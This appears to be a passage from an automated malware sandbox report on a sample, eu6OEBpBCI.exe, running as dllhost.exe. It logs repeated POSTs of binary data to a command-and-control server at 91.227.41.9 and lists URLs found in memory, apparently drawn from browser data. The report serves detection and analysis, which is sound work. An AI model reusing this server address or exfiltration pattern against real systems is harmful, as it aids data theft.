                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2532Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2532Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1836Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2532Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 1860Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 2536Expect: 100-continue
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownTCP traffic detected without corresponding DNS query: 91.227.41.9
                              Source: unknownHTTP traffic detected: POST /imagePipepolldletemp.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 91.227.41.9Content-Length: 344Expect: 100-continueConnection: Keep-Alive
                              Source: dllhost.exe, 00000005.00000002.4103094451.000000000342D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://91.227.41.9
                              Source: dllhost.exe, 00000005.00000002.4103094451.0000000002EEB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://91.227.41.9/
                              Source: dllhost.exe, 00000005.00000002.4103094451.0000000003281000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4103094451.00000000031B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4103094451.0000000002EEB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4103094451.000000000315B000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4103094451.000000000342D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://91.227.41.9/imagePipepolldletemp.php
                              Source: eu6OEBpBCI.exe, 00000000.00000002.1686320496.00000000032E7000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4103094451.0000000002EEB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.coml
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fonts.com
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.goodfont.co.kr
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.com
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.com
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.kr
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.tiro.com
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.typography.netD
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.urwpp.deDPlease
                              Source: dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
                              Source: dllhost.exe, 00000005.00000002.4116814667.0000000013097000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000134B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001427F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012E58000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000140F4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001314C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001443A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013F85000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F0C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001403F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013182000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001413E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001356A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000141CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000142F6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013ED1000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F62000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013C08000.00000004.00000800.00020000.00000000.sdmp, 7xw9K0Vs4e.5.dr, XJq0wWYSge.5.dr, FZwLUNHu3n.5.drString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                              Source: dllhost.exe, 00000005.00000002.4116814667.0000000013097000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000134B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001427F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012E58000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000140F4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001314C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001443A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013F85000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F0C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001403F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013182000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001413E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001356A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000141CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000142F6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013ED1000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F62000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013C08000.00000004.00000800.00020000.00000000.sdmp, 7xw9K0Vs4e.5.dr, XJq0wWYSge.5.dr, FZwLUNHu3n.5.drString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                              Source: dllhost.exe, 00000005.00000002.4116814667.0000000013097000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000134B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001427F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012E58000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000140F4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001314C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001443A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013F85000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F0C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001403F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013182000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001413E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001356A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000141CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000142F6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013ED1000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F62000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013C08000.00000004.00000800.00020000.00000000.sdmp, 7xw9K0Vs4e.5.dr, XJq0wWYSge.5.dr, FZwLUNHu3n.5.drString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                              Source: dllhost.exe, 00000005.00000002.4116814667.0000000013097000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000134B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001427F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012E58000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000140F4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001314C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001443A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013F85000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F0C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001403F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013182000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001413E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001356A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000141CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000142F6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013ED1000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F62000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013C08000.00000004.00000800.00020000.00000000.sdmp, 7xw9K0Vs4e.5.dr, XJq0wWYSge.5.dr, FZwLUNHu3n.5.drString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                              Source: dllhost.exe, 00000005.00000002.4116814667.0000000013097000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000134B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001427F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012E58000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000140F4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001314C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001443A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013F85000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F0C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001403F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013182000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001413E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001356A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000141CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000142F6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013ED1000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F62000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013C08000.00000004.00000800.00020000.00000000.sdmp, 7xw9K0Vs4e.5.dr, XJq0wWYSge.5.dr, FZwLUNHu3n.5.drString found in binary or memory: https://duckduckgo.com/ac/?q=
